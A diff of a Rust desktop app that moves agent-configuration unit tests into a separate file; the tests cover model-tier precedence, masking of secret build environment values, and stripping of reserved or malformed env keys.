-    /// linked persona's model. `update_managed_agent` already blocks writing
-    /// model/provider/prompt for linked instances, so a non-`None` value here
-    /// can only be leftover snapshot bytes from before a persona edit — the
-    /// panel must report the persona's current model, tagged `PersonaDefault`,
-    /// not the stale byte as `BuzzExplicit`.
-    #[test]
-    fn linked_stale_record_model_never_outranks_persona_model() {
-        let mut record = agent_record();
-        record.model = Some("stale-explicit-model".to_string());
-        let personas = vec![persona_with_model("persona-model")];
-
-        let surface = resolve_config_surface(
-            record,
-            &personas,
-            Some(goose_runtime()),
-            None,
-            &Default::default(),
-        );
-
-        let model = surface.normalized.model.as_ref().expect("model resolved");
-        assert_eq!(model.value.as_deref(), Some("persona-model"));
-        assert_eq!(model.origin, ConfigOrigin::PersonaDefault);
-    }
-
-    /// Definition-authoritative, blank-definition case: a linked instance
-    /// whose persona has no model of its own must fall through to the global
-    /// default, tagged `GlobalDefault` — mirroring
-    /// `effective_config::resolve_linked`'s `None => global` arm. A stale
-    /// materialized record model must not shadow this fallthrough either.
-    #[test]
-    fn linked_blank_definition_model_falls_through_to_global_default() {
-        let mut record = agent_record();
-        record.model = Some("stale-explicit-model".to_string());
-        let mut persona = persona_with_model("unused");
-        persona.model = None;
-        let personas = vec![persona];
-        let global = crate::managed_agents::GlobalAgentConfig {
-            model: Some("global-model".to_string()),
-            ..Default::default()
-        };
-
-        let surface =
-            resolve_config_surface(record, &personas, Some(goose_runtime()), None, &global);
-
-        let model = surface.normalized.model.as_ref().expect("model resolved");
-        assert_eq!(model.value.as_deref(), Some("global-model"));
-        assert_eq!(model.origin, ConfigOrigin::GlobalDefault);
-    }
-
-    /// A definition-less (no `persona_id`) instance's own explicit model IS
-    /// authoritative — the stale-record clearing above is scoped to linked
-    /// instances only.
-    #[test]
-    fn definition_less_explicit_record_model_keeps_buzz_explicit_origin() {
-        let mut record = agent_record();
-        record.persona_id = None;
-        record.model = Some("explicit-model".to_string());
-        let personas = vec![persona_with_model("persona-model")];
-
-        let surface = resolve_config_surface(
-            record,
-            &personas,
-            Some(goose_runtime()),
-            None,
-            &Default::default(),
-        );
-
-        let model = surface.normalized.model.as_ref().expect("model resolved");
-        assert_eq!(model.value.as_deref(), Some("explicit-model"));
-        assert_eq!(model.origin, ConfigOrigin::BuzzExplicit);
-    }
-
-    /// Part A — pending-pick: a genuine-explicit pick X with a divergent live
-    /// model Y but `model_overridden == false` (the live switch is not yet
-    /// applied — a restart is pending) must keep X as the primary and must NOT
-    /// surface Y as an override row. The live `acp_model` does not win. This
-    /// FAILS against a let-live-acp-win variant (one that dropped the
-    /// `model_overridden` gate), so it is not vacuous.
-    #[test]
-    fn pending_pick_keeps_explicit_x_and_does_not_surface_live_y() {
-        let mut record = agent_record();
-        record.persona_id = None;
-        record.model = Some("model-x".to_string());
-        let personas: Vec<AgentDefinition> = vec![];
-        let cache = session_cache("model-y", false);
-
-        let surface = resolve_config_surface(
-            record,
-            &personas,
-            Some(goose_runtime()),
-            Some(&cache),
-            &Default::default(),
-        );
-        let model = surface.normalized.model.expect("model resolved");
-
-        assert_eq!(model.value.as_deref(), Some("model-x"));
-        assert_eq!(model.origin, ConfigOrigin::BuzzExplicit);
-        assert_ne!(model.origin, ConfigOrigin::RuntimeOverride);
-        assert_ne!(model.overridden_value.as_deref(), Some("model-y"));
-    }
-
-    /// W2 — genuine-explicit live switch: record.model = X, no persona,
-    /// `model_overridden == true`, live model = Y. The live Y must render as the
-    /// primary with a `RuntimeOverride` origin and X as the secondary tagged
-    /// `BuzzExplicit` (its true source — NOT `PersonaDefault`). FAILS against the
-    /// shipped no-persona early-return, which left X as primary and Y struck.
-    #[test]
-    fn genuine_explicit_live_switch_renders_y_over_x_buzz_explicit_secondary() {
-        let mut record = agent_record();
-        record.persona_id = None;
-        record.model = Some("model-x".to_string());
-        let personas: Vec<AgentDefinition> = vec![];
-        let cache = session_cache("model-y", true);
-
-        let surface = resolve_config_surface(
-            record,
-            &personas,
-            Some(goose_runtime()),
-            Some(&cache),
-            &Default::default(),
-        );
-        let model = surface.normalized.model.expect("model resolved");
-
-        assert_eq!(model.value.as_deref(), Some("model-y"));
-        assert_eq!(model.origin, ConfigOrigin::RuntimeOverride);
-        assert_eq!(model.overridden_value.as_deref(), Some("model-x"));
-        assert_eq!(model.overridden_origin, Some(ConfigOrigin::BuzzExplicit));
-    }
-
-    /// Y==X collision: a genuine-explicit agent live-switches to the SAME value
-    /// it already had. There is no real divergence, so the field must be a clean
-    /// single value with NO secondary row. FAILS against a naive `return base`
-    /// that would leak the `AcpConfigOption` row `build_model_field` populates.
-    #[test]
-    fn genuine_explicit_live_switch_to_same_model_yields_clean_field() {
-        let mut record = agent_record();
-        record.persona_id = None;
-        record.model = Some("model-x".to_string());
-        let personas: Vec<AgentDefinition> = vec![];
-        let cache = session_cache("model-x", true);
-
-        let surface = resolve_config_surface(
-            record,
-            &personas,
-            Some(goose_runtime()),
-            Some(&cache),
-            &Default::default(),
-        );
-        let model = surface.normalized.model.expect("model resolved");
-
-        assert_eq!(model.value.as_deref(), Some("model-x"));
-        assert_eq!(model.overridden_value, None);
-        assert_eq!(model.overridden_origin, None);
-    }
-
-    /// Persona parity (regression): a persona-linked agent with no explicit
-    /// record model that live-switches still renders the persona model as the
-    /// secondary tagged `PersonaDefault` — the typed-baseline change must NOT
-    /// regress the persona arm to a different origin.
-    #[test]
-    fn persona_linked_live_switch_keeps_persona_default_secondary() {
-        let record = agent_record();
-        let personas = vec![persona_with_model("persona-model")];
-        let cache = session_cache("model-y", true);
-
-        let surface = resolve_config_surface(
-            record,
-            &personas,
-            Some(goose_runtime()),
-            Some(&cache),
-            &Default::default(),
-        );
-        let model = surface.normalized.model.expect("model resolved");
-
-        assert_eq!(model.value.as_deref(), Some("model-y"));
-        assert_eq!(model.origin, ConfigOrigin::RuntimeOverride);
-        assert_eq!(model.overridden_value.as_deref(), Some("persona-model"));
-        assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault));
-    }
-
-    /// Fix 2 regression: a global-default-only agent (no record model, no
-    /// persona model, but global has a model) that live-switches mid-session
-    /// must render the global model as the secondary tagged `GlobalDefault`.
-    /// Before the fix, `baseline` was `None` in the `!had_model` arm when
-    /// persona has no model, so `read_config_surface` had no secondary to
-    /// surface. Fails against pre-fix code where the baseline arm returned
-    /// `None` when `!had_model && persona_model.is_none() && model_overridden`.
-    #[test]
-    fn global_default_live_switch_renders_global_model_as_secondary_global_default() {
-        // Record has no model, no persona, global provides the model.
-        let mut record = agent_record();
-        record.persona_id = None;
-        // record.model = None (set by agent_record())
-        let personas: Vec<AgentDefinition> = vec![];
-        let cache = session_cache("model-y", true);
-        let global = crate::managed_agents::GlobalAgentConfig {
-            model: Some("global-model".to_string()),
-            ..Default::default()
-        };
-
-        let surface = resolve_config_surface(
-            record,
-            &personas,
-            Some(goose_runtime()),
-            Some(&cache),
-            &global,
-        );
-        let model = surface.normalized.model.expect("model resolved");
-
-        // Live model wins as primary.
-        assert_eq!(model.value.as_deref(), Some("model-y"));
-        assert_eq!(model.origin, ConfigOrigin::RuntimeOverride);
-        // Global model surfaces as secondary, tagged GlobalDefault.
-        assert_eq!(
-            model.overridden_value.as_deref(),
-            Some("global-model"),
-            "global model must be the override baseline secondary"
-        );
-        assert_eq!(
-            model.overridden_origin,
-            Some(ConfigOrigin::GlobalDefault),
-            "override baseline origin must be GlobalDefault, not PersonaDefault or BuzzExplicit"
-        );
-    }
-
-    // ── get_baked_build_env / is_secret_key tests ──────────────────────────
-
-    /// Build a `BakedEnvEntry` vec from a synthetic map, mirroring what
-    /// `get_baked_build_env()` does. Used to test masking without relying on
-    /// compile-time `option_env!` vars (OSS builds have empty `baked_build_env`).
-    fn baked_env_from_map(map: &[(&str, &str)]) -> Vec<BakedEnvEntry> {
-        map.iter()
-            .filter(|(_, v)| !v.is_empty())
-            .map(|(k, v)| {
-                let masked = !super::is_safe_to_reveal(k);
-                BakedEnvEntry {
-                    key: k.to_string(),
-                    value: if masked {
-                        "\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}".to_string()
-                    } else {
-                        v.to_string()
-                    },
-                    masked,
-                }
-            })
-            .collect()
-    }
-
-    #[test]
-    fn baked_env_non_secret_key_shows_real_value() {
-        let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "databricks_v2")]);
-        assert_eq!(entries.len(), 1);
-        assert_eq!(entries[0].key, "BUZZ_AGENT_PROVIDER");
-        assert_eq!(entries[0].value, "databricks_v2");
-        assert!(!entries[0].masked);
-    }
-
-    #[test]
-    fn baked_env_api_key_is_masked() {
-        let entries = baked_env_from_map(&[("ANTHROPIC_API_KEY", "sk-secret")]);
-        assert_eq!(entries.len(), 1);
-        assert_eq!(entries[0].value, "••••••");
-        assert!(entries[0].masked);
-    }
-
-    #[test]
-    fn baked_env_token_key_is_masked() {
-        let entries = baked_env_from_map(&[("GITHUB_TOKEN", "ghp_secret")]);
-        assert_eq!(entries.len(), 1);
-        assert!(entries[0].masked);
-    }
-
-    #[test]
-    fn baked_env_secret_key_is_masked() {
-        let entries = baked_env_from_map(&[("MY_DB_SECRET", "s3cr3t")]);
-        assert_eq!(entries.len(), 1);
-        assert!(entries[0].masked);
-    }
-
-    #[test]
-    fn baked_env_password_key_is_masked() {
-        let entries = baked_env_from_map(&[("DB_PASSWORD", "hunter2")]);
-        assert_eq!(entries.len(), 1);
-        assert!(entries[0].masked);
-    }
-
-    #[test]
-    fn baked_env_empty_value_filtered_out() {
-        let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "")]);
-        assert!(entries.is_empty());
-    }
-
-    #[test]
-    fn baked_env_mixed_keys_correct_masking() {
-        let entries = baked_env_from_map(&[
-            ("BUZZ_AGENT_PROVIDER", "databricks_v2"),
-            ("BUZZ_AGENT_MODEL", "goose-claude-opus-4-8"),
-            ("DATABRICKS_HOST", "https://example.com"),
-            ("DATABRICKS_TOKEN", "dapi-secret"),
-        ]);
-        assert_eq!(entries.len(), 4);
-
-        let provider = entries
-            .iter()
-            .find(|e| e.key == "BUZZ_AGENT_PROVIDER")
-            .unwrap();
-        assert_eq!(provider.value, "databricks_v2");
-        assert!(!provider.masked);
-
-        let model = entries
-            .iter()
-            .find(|e| e.key == "BUZZ_AGENT_MODEL")
-            .unwrap();
-        assert_eq!(model.value, "goose-claude-opus-4-8");
-        assert!(!model.masked);
-
-        let host = entries.iter().find(|e| e.key == "DATABRICKS_HOST").unwrap();
-        assert_eq!(host.value, "https://example.com");
-        assert!(!host.masked);
-
-        let token = entries
-            .iter()
-            .find(|e| e.key == "DATABRICKS_TOKEN")
-            .unwrap();
-        assert_eq!(token.value, "••••••");
-        assert!(token.masked);
-    }
-
-    #[test]
-    fn baked_env_thinking_effort_is_unmasked() {
-        // BUZZ_AGENT_THINKING_EFFORT is a non-secret enum — must not be masked.
-        let entries = baked_env_from_map(&[("BUZZ_AGENT_THINKING_EFFORT", "medium")]);
-        assert_eq!(entries.len(), 1);
-        let effort = entries
-            .iter()
-            .find(|e| e.key == "BUZZ_AGENT_THINKING_EFFORT")
-            .unwrap();
-        assert_eq!(effort.value, "medium");
-        assert!(!effort.masked);
-    }
-
-    #[test]
-    fn baked_env_allowlist_is_case_insensitive() {
-        // Known-safe keys — case-insensitive match must allow them.
-        assert!(super::is_safe_to_reveal("buzz_agent_provider"));
-        assert!(super::is_safe_to_reveal("BUZZ_AGENT_PROVIDER"));
-        assert!(super::is_safe_to_reveal("buzz_agent_model"));
-        assert!(super::is_safe_to_reveal("BUZZ_AGENT_MODEL"));
-        assert!(super::is_safe_to_reveal("buzz_agent_thinking_effort"));
-        assert!(super::is_safe_to_reveal("BUZZ_AGENT_THINKING_EFFORT"));
-        assert!(super::is_safe_to_reveal("databricks_host"));
-        assert!(super::is_safe_to_reveal("DATABRICKS_HOST"));
-        assert!(super::is_safe_to_reveal("databricks_model"));
-        assert!(super::is_safe_to_reveal("DATABRICKS_MODEL"));
-        // Keys NOT in the allowlist — masked regardless of naming pattern.
-        assert!(!super::is_safe_to_reveal("my_api_key"));
-        assert!(!super::is_safe_to_reveal("GITHUB_TOKEN"));
-        assert!(!super::is_safe_to_reveal("DB_SECRET"));
-        assert!(!super::is_safe_to_reveal("DB_PASSWORD"));
-        // Bare names that old heuristic (contains("_TOKEN") etc.) would have missed.
-        assert!(!super::is_safe_to_reveal("APIKEY"));
-        assert!(!super::is_safe_to_reveal("TOKEN"));
-        assert!(!super::is_safe_to_reveal("SECRET"));
-        assert!(!super::is_safe_to_reveal("PASSWORD"));
-        assert!(!super::is_safe_to_reveal("PRIVATE_KEY"));
-        // Unknown key → masked by default.
-        assert!(!super::is_safe_to_reveal("SOME_UNKNOWN_KEY"));
-    }
-}
+#[path = "agent_config_tests.rs"]
+mod tests;
diff --git a/desktop/src-tauri/src/commands/agent_config_tests.rs b/desktop/src-tauri/src/commands/agent_config_tests.rs
new file mode 100644
index 0000000000..5519153578
--- /dev/null
+++ b/desktop/src-tauri/src/commands/agent_config_tests.rs
@@ -0,0 +1,652 @@
+//! Unit tests for `commands/agent_config.rs` (split to keep `agent_config.rs`
+//! under the 1000-line file-size ratchet).
+//!
+//! Included via `#[path = "agent_config_tests.rs"] mod tests;` at the bottom of
+//! `agent_config.rs`, so `use super::*` gives access to all items in that module.
+
+use super::*;
+use crate::managed_agents::config_bridge::types::ConfigOrigin;
+use crate::managed_agents::{BackendKind, RespondTo};
+
+use std::sync::Mutex;
+
+static GOOSE_PATH_ROOT_LOCK: Mutex<()> = Mutex::new(());
+
+/// Run a test body with GOOSE_PATH_ROOT set to a non-existent path so that the
+/// goose config file read returns `None`. Restores the prior value on exit.
+fn with_no_goose_config<T>(body: impl FnOnce() -> T) -> T {
+    let _guard = GOOSE_PATH_ROOT_LOCK
+        .lock()
+        .unwrap_or_else(|err| err.into_inner());
+    let prior = std::env::var_os("GOOSE_PATH_ROOT");
+    std::env::set_var("GOOSE_PATH_ROOT", "/nonexistent-buzz-test-path");
+    let output = body();
+    match prior {
+        Some(value) => std::env::set_var("GOOSE_PATH_ROOT", value),
+        None => std::env::remove_var("GOOSE_PATH_ROOT"),
+    }
+    output
+}
+
+fn goose_runtime() -> &'static KnownAcpRuntime {
+    &KnownAcpRuntime {
+        id: "goose",
+        label: "Goose",
+        commands: &["goose"],
+        aliases: &[],
+        avatar_url: "",
+        mcp_command: None,
+        mcp_hooks: false,
+        underlying_cli: None,
+        cli_install_commands: &[],
+        cli_install_commands_windows: &[],
+        adapter_install_commands: &[],
+        cli_install_instructions_url: "",
+        adapter_install_instructions_url: "",
+        cli_install_hint: "",
+        adapter_install_hint: "",
+        skill_dir: None,
+        supports_acp_model_switching: false,
+        model_env_var: Some("GOOSE_MODEL"),
+        provider_env_var: Some("GOOSE_PROVIDER"),
+        provider_locked: false,
+        default_env: &[],
+        config_file_path: Some("~/.config/goose/config.yaml"),
+        config_file_format: Some("yaml"),
+        supports_acp_native_config: true,
+        thinking_env_var: Some("GOOSE_THINKING_EFFORT"),
+        max_tokens_env_var: Some("GOOSE_MAX_TOKENS"),
+        context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"),
+        max_rounds_env_var: None,
+        required_normalized_fields: &["model", "provider"],
+        login_hint: None,
+        auth_probe_args: None,
+    }
+}
+
+fn agent_record() -> ManagedAgentRecord {
+    ManagedAgentRecord {
+        pubkey: "agent".to_string(),
+        name: "Agent".to_string(),
+        persona_id: Some("persona-1".to_string()),
+        private_key_nsec: "".to_string(),
+        auth_tag: None,
+        relay_url: "ws://localhost:3000".to_string(),
+        avatar_url: None,
+        acp_command: "buzz-acp".to_string(),
+        agent_command: "goose".to_string(),
+        agent_args: vec![],
+        mcp_command: "".to_string(),
+        turn_timeout_seconds: 300,
+        idle_timeout_seconds: None,
+        max_turn_duration_seconds: None,
+        parallelism: 1,
+        system_prompt: None,
+        model: None,
+        env_vars: Default::default(),
+        start_on_app_launch: false,
+        auto_restart_on_config_change: true,
+        runtime_pid: None,
+        backend: BackendKind::Local,
+        backend_agent_id: None,
+        provider_binary_path: None,
+        team_id: None,
+        persona_team_dir: None,
+        persona_name_in_team: None,
+        created_at: "".to_string(),
+        updated_at: "".to_string(),
+        last_started_at: None,
+        last_stopped_at: None,
+        last_exit_code: None,
+        last_error: None,
+        last_error_code: None,
+        respond_to: RespondTo::OwnerOnly,
+        respond_to_allowlist: vec![],
+        display_name: None,
+        slug: None,
+        runtime: None,
+        name_pool: Vec::new(),
+        is_builtin: false,
+        is_active: true,
+        shared: false,
+        source_team: None,
+        source_team_persona_slug: None,
+        catalog_source: None,
+        definition_respond_to: None,
+        definition_respond_to_allowlist: Vec::new(),
+        definition_parallelism: None,
+        relay_mesh: None,
+        agent_command_override: None,
+        persona_source_version: None,
+        provider: None,
+    }
+}
+
+fn persona_with_model(model: &str) -> AgentDefinition {
+    AgentDefinition {
+        id: "persona-1".to_string(),
+        display_name: "Persona".to_string(),
+        avatar_url: None,
+        system_prompt: "You are a persona.".to_string(),
+        runtime: None,
+        model: Some(model.to_string()),
+        provider: None,
+        name_pool: Vec::new(),
+        is_builtin: false,
+        is_active: true,
+        shared: false,
+        source_team: None,
+        source_team_persona_slug: None,
+        catalog_source: None,
+        env_vars: Default::default(),
+        respond_to: None,
+        respond_to_allowlist: Vec::new(),
+        parallelism: None,
+        created_at: "".to_string(),
+        updated_at: "".to_string(),
+    }
+}
+
+/// A post-spawn session cache whose live model is `current_model` and whose
+/// `model_overridden` flag records whether a `SwitchModel` control signal set
+/// it (the live-switch signal).
+fn session_cache(current_model: &str, model_overridden: bool) -> SessionConfigCache {
+    SessionConfigCache {
+        config_options: vec![],
+        available_modes: vec![],
+        available_models: vec![],
+        current_model: Some(current_model.to_string()),
+        model_overridden,
+        goose_native_config: None,
+        captured_at: "".to_string(),
+    }
+}
+
+/// Definition-authoritative: a stale materialized `record.model` on a
+/// linked instance must never outrank (or even be consulted against) the
+/// linked persona's model. `update_managed_agent` already blocks writing
+/// model/provider/prompt for linked instances, so a non-`None` value here
+/// can only be leftover snapshot bytes from before a persona edit — the
+/// panel must report the persona's current model, tagged `PersonaDefault`,
+/// not the stale byte as `BuzzExplicit`.
+#[test]
+fn linked_stale_record_model_never_outranks_persona_model() {
+    let mut record = agent_record();
+    record.model = Some("stale-explicit-model".to_string());
+    let personas = vec![persona_with_model("persona-model")];
+
+    let surface = resolve_config_surface(
+        record,
+        &personas,
+        Some(goose_runtime()),
+        None,
+        &Default::default(),
+    );
+
+    let model = surface.normalized.model.as_ref().expect("model resolved");
+    assert_eq!(model.value.as_deref(), Some("persona-model"));
+    assert_eq!(model.origin, ConfigOrigin::PersonaDefault);
+}
+
+/// Definition-authoritative, blank-definition case: a linked instance
+/// whose persona has no model of its own must fall through to the global
+/// default, tagged `GlobalDefault` — mirroring
+/// `effective_config::resolve_linked`'s `None => global` arm. A stale
+/// materialized record model must not shadow this fallthrough either.
+#[test]
+fn linked_blank_definition_model_falls_through_to_global_default() {
+    let mut record = agent_record();
+    record.model = Some("stale-explicit-model".to_string());
+    let mut persona = persona_with_model("unused");
+    persona.model = None;
+    let personas = vec![persona];
+    let global = crate::managed_agents::GlobalAgentConfig {
+        model: Some("global-model".to_string()),
+        ..Default::default()
+    };
+
+    let surface = resolve_config_surface(record, &personas, Some(goose_runtime()), None, &global);
+
+    let model = surface.normalized.model.as_ref().expect("model resolved");
+    assert_eq!(model.value.as_deref(), Some("global-model"));
+    assert_eq!(model.origin, ConfigOrigin::GlobalDefault);
+}
+
+/// A definition-less (no `persona_id`) instance's own explicit model IS
+/// authoritative — the stale-record clearing above is scoped to linked
+/// instances only.
+#[test]
+fn definition_less_explicit_record_model_keeps_buzz_explicit_origin() {
+    let mut record = agent_record();
+    record.persona_id = None;
+    record.model = Some("explicit-model".to_string());
+    let personas = vec![persona_with_model("persona-model")];
+
+    let surface = resolve_config_surface(
+        record,
+        &personas,
+        Some(goose_runtime()),
+        None,
+        &Default::default(),
+    );
+
+    let model = surface.normalized.model.as_ref().expect("model resolved");
+    assert_eq!(model.value.as_deref(), Some("explicit-model"));
+    assert_eq!(model.origin, ConfigOrigin::BuzzExplicit);
+}
+
+/// Part A — pending-pick: a genuine-explicit pick X with a divergent live
+/// model Y but `model_overridden == false` (the live switch is not yet
+/// applied — a restart is pending) must keep X as the primary and must NOT
+/// surface Y as an override row. The live `acp_model` does not win. This
+/// FAILS against a let-live-acp-win variant (one that dropped the
+/// `model_overridden` gate), so it is not vacuous.
+#[test]
+fn pending_pick_keeps_explicit_x_and_does_not_surface_live_y() {
+    let mut record = agent_record();
+    record.persona_id = None;
+    record.model = Some("model-x".to_string());
+    let personas: Vec<AgentDefinition> = vec![];
+    let cache = session_cache("model-y", false);
+
+    let surface = resolve_config_surface(
+        record,
+        &personas,
+        Some(goose_runtime()),
+        Some(&cache),
+        &Default::default(),
+    );
+    let model = surface.normalized.model.expect("model resolved");
+
+    assert_eq!(model.value.as_deref(), Some("model-x"));
+    assert_eq!(model.origin, ConfigOrigin::BuzzExplicit);
+    assert_ne!(model.origin, ConfigOrigin::RuntimeOverride);
+    assert_ne!(model.overridden_value.as_deref(), Some("model-y"));
+}
+
+/// W2 — genuine-explicit live switch: record.model = X, no persona,
+/// `model_overridden == true`, live model = Y. The live Y must render as the
+/// primary with a `RuntimeOverride` origin and X as the secondary tagged
+/// `BuzzExplicit` (its true source — NOT `PersonaDefault`). FAILS against the
+/// shipped no-persona early-return, which left X as primary and Y struck.
+#[test]
+fn genuine_explicit_live_switch_renders_y_over_x_buzz_explicit_secondary() {
+    let mut record = agent_record();
+    record.persona_id = None;
+    record.model = Some("model-x".to_string());
+    let personas: Vec<AgentDefinition> = vec![];
+    let cache = session_cache("model-y", true);
+
+    let surface = resolve_config_surface(
+        record,
+        &personas,
+        Some(goose_runtime()),
+        Some(&cache),
+        &Default::default(),
+    );
+    let model = surface.normalized.model.expect("model resolved");
+
+    assert_eq!(model.value.as_deref(), Some("model-y"));
+    assert_eq!(model.origin, ConfigOrigin::RuntimeOverride);
+    assert_eq!(model.overridden_value.as_deref(), Some("model-x"));
+    assert_eq!(model.overridden_origin, Some(ConfigOrigin::BuzzExplicit));
+}
+
+/// Y==X collision: a genuine-explicit agent live-switches to the SAME value
+/// it already had. There is no real divergence, so the field must be a clean
+/// single value with NO secondary row and origin matching the baseline (not
+/// RuntimeOverride). FAILS against a naive `return base` that would leak the
+/// `AcpConfigOption` row `build_model_field` populates, and against the
+/// prior implementation that stamped `RuntimeOverride` on the equal-value arm.
+///
+/// `with_no_goose_config` suppresses the goose config file read so that the
+/// fall-through to normal resolution cannot pick up a local `~/.config/goose/config.yaml`
+/// model as a spurious secondary — the test is about tier precedence, not the
+/// local developer's goose install.
+#[test]
+fn genuine_explicit_live_switch_to_same_model_yields_clean_field() {
+    let mut record = agent_record();
+    record.persona_id = None;
+    record.model = Some("model-x".to_string());
+    let personas: Vec<AgentDefinition> = vec![];
+    let cache = session_cache("model-x", true);
+
+    let surface = with_no_goose_config(|| {
+        resolve_config_surface(
+            record,
+            &personas,
+            Some(goose_runtime()),
+            Some(&cache),
+            &Default::default(),
+        )
+    });
+    let model = surface.normalized.model.expect("model resolved");
+
+    assert_eq!(model.value.as_deref(), Some("model-x"));
+    // Equal-value switch must NOT stamp RuntimeOverride — baseline origin wins.
+    assert_eq!(model.origin, ConfigOrigin::BuzzExplicit);
+    assert_ne!(model.origin, ConfigOrigin::RuntimeOverride);
+    assert_eq!(model.overridden_value, None);
+    assert_eq!(model.overridden_origin, None);
+}
+
+/// Persona parity (regression): a persona-linked agent with no explicit
+/// record model that live-switches still renders the persona model as the
+/// secondary tagged `PersonaDefault` — the typed-baseline change must NOT
+/// regress the persona arm to a different origin.
+#[test]
+fn persona_linked_live_switch_keeps_persona_default_secondary() {
+    let record = agent_record();
+    let personas = vec![persona_with_model("persona-model")];
+    let cache = session_cache("model-y", true);
+
+    let surface = resolve_config_surface(
+        record,
+        &personas,
+        Some(goose_runtime()),
+        Some(&cache),
+        &Default::default(),
+    );
+    let model = surface.normalized.model.expect("model resolved");
+
+    assert_eq!(model.value.as_deref(), Some("model-y"));
+    assert_eq!(model.origin, ConfigOrigin::RuntimeOverride);
+    assert_eq!(model.overridden_value.as_deref(), Some("persona-model"));
+    assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault));
+}
+
+/// Fix 2 regression: a global-default-only agent (no record model, no
+/// persona model, but global has a model) that live-switches mid-session
+/// must render the global model as the secondary tagged `GlobalDefault`.
+/// Before the fix, `baseline` was `None` in the `!had_model` arm when
+/// persona has no model, so `read_config_surface` had no secondary to
+/// surface. Fails against pre-fix code where the baseline arm returned
+/// `None` when `!had_model && persona_model.is_none() && model_overridden`.
+#[test]
+fn global_default_live_switch_renders_global_model_as_secondary_global_default() {
+    // Record has no model, no persona, global provides the model.
+    let mut record = agent_record();
+    record.persona_id = None;
+    // record.model = None (set by agent_record())
+    let personas: Vec<AgentDefinition> = vec![];
+    let cache = session_cache("model-y", true);
+    let global = crate::managed_agents::GlobalAgentConfig {
+        model: Some("global-model".to_string()),
+        ..Default::default()
+    };
+
+    let surface = resolve_config_surface(
+        record,
+        &personas,
+        Some(goose_runtime()),
+        Some(&cache),
+        &global,
+    );
+    let model = surface.normalized.model.expect("model resolved");
+
+    // Live model wins as primary.
+    assert_eq!(model.value.as_deref(), Some("model-y"));
+    assert_eq!(model.origin, ConfigOrigin::RuntimeOverride);
+    // Global model surfaces as secondary, tagged GlobalDefault.
+    assert_eq!(
+        model.overridden_value.as_deref(),
+        Some("global-model"),
+        "global model must be the override baseline secondary"
+    );
+    assert_eq!(
+        model.overridden_origin,
+        Some(ConfigOrigin::GlobalDefault),
+        "override baseline origin must be GlobalDefault, not PersonaDefault or BuzzExplicit"
+    );
+}
+
+// ── Snapshot constructor tests (build_inherited_tiers) ──────────────────────
+//
+// These test the sanitized snapshot constructor — the command-boundary
+// function that builds InheritedConfigTiers from raw persona/global data.
+
+/// Orphaned persona link: a record whose persona_id references a non-existent
+/// persona should produce empty persona tiers (not a panic), and the panel
+/// still renders from the record and global tiers.
+#[test]
+fn orphaned_persona_link_yields_empty_persona_tiers() {
+    let mut record = agent_record();
+    record.persona_id = Some("missing-persona".to_string());
+    // No personas in the list — dangling link.
+    let personas: Vec<AgentDefinition> = vec![];
+    let global = crate::managed_agents::GlobalAgentConfig {
+        model: Some("global-model".to_string()),
+        ..Default::default()
+    };
+
+    let tiers = build_inherited_tiers(record.persona_id.as_deref(), None, &personas, &global);
+
+    // Persona tier is empty — the orphan yields no persona inheritance.
+    assert!(tiers.persona_env.is_empty());
+    assert!(tiers.persona_model.is_none());
+    assert!(tiers.persona_provider.is_none());
+    assert!(tiers.persona_prompt.is_none());
+    // Global tiers are unaffected.
+    assert_eq!(tiers.global_model.as_deref(), Some("global-model"));
+}
+
+/// Reserved key in persona env is stripped by sanitization — it must never
+/// reach the reader or the display surface.
+#[test]
+fn reserved_key_in_inherited_persona_env_is_stripped() {
+    let mut persona = persona_with_model("model");
+    // BUZZ_PRIVATE_KEY is a reserved key — must be stripped.
+    persona
+        .env_vars
+        .insert("BUZZ_PRIVATE_KEY".to_string(), "nsec-secret".to_string());
+    // A safe key — must survive.
+    persona
+        .env_vars
+        .insert("GOOSE_MODEL".to_string(), "persona-model".to_string());
+    let personas = vec![persona];
+    let global = crate::managed_agents::GlobalAgentConfig::default();
+
+    let tiers = build_inherited_tiers(Some("persona-1"), None, &personas, &global);
+
+    assert!(
+        !tiers.persona_env.contains_key("BUZZ_PRIVATE_KEY"),
+        "reserved key must be stripped from persona env tier"
+    );
+    assert!(
+        tiers.persona_env.contains_key("GOOSE_MODEL"),
+        "safe key must survive sanitization"
+    );
+}
+
+/// `sanitize_inherited_env` strips reserved keys from a definition-env-shaped
+/// map. This pins the shared sanitization contract for definition_env — the
+/// same function is applied to all three env tiers (persona, global, definition)
+/// at the command boundary.
+#[test]
+fn reserved_key_in_definition_env_shaped_map_is_stripped_by_sanitize() {
+    // Exercise sanitize_inherited_env directly with a definition-env-shaped map.
+    let mut raw = std::collections::BTreeMap::new();
+    raw.insert("BUZZ_PRIVATE_KEY".to_string(), "nsec-secret".to_string());
+    raw.insert("GOOSE_MODEL".to_string(), "harness-model".to_string());
+
+    let sanitized = sanitize_inherited_env(&raw);
+
+    assert!(
+        !sanitized.contains_key("BUZZ_PRIVATE_KEY"),
+        "reserved key must be stripped by sanitize_inherited_env"
+    );
+    assert!(
+        sanitized.contains_key("GOOSE_MODEL"),
+        "safe key must survive sanitize_inherited_env"
+    );
+}
+
+/// Malformed key in global env is stripped by sanitization — keys must be
+/// POSIX-shaped (`[A-Za-z_][A-Za-z0-9_]*`).
+#[test]
+fn malformed_key_in_inherited_global_env_is_stripped() {
+    let mut global = crate::managed_agents::GlobalAgentConfig::default();
+    // Key with an `=` — would bypass env-var security if passed to spawn.
+    global
+        .env_vars
+        .insert("BAD=KEY".to_string(), "value".to_string());
+    // A valid key — must survive.
+    global
+        .env_vars
+        .insert("GOOSE_PROVIDER".to_string(), "anthropic".to_string());
+
+    let tiers = build_inherited_tiers(None, None, &[], &global);
+
+    assert!(
+        !tiers.global_env.contains_key("BAD=KEY"),
+        "malformed key must be stripped from global env tier"
+    );
+    assert!(
+        tiers.global_env.contains_key("GOOSE_PROVIDER"),
+        "valid key must survive sanitization"
+    );
+}
+
+// ── get_baked_build_env / is_secret_key tests ──────────────────────────
+
+/// Build a `BakedEnvEntry` vec from a synthetic map, mirroring what
+/// `get_baked_build_env()` does. Used to test masking without relying on
+/// compile-time `option_env!` vars (OSS builds have empty `baked_build_env`).
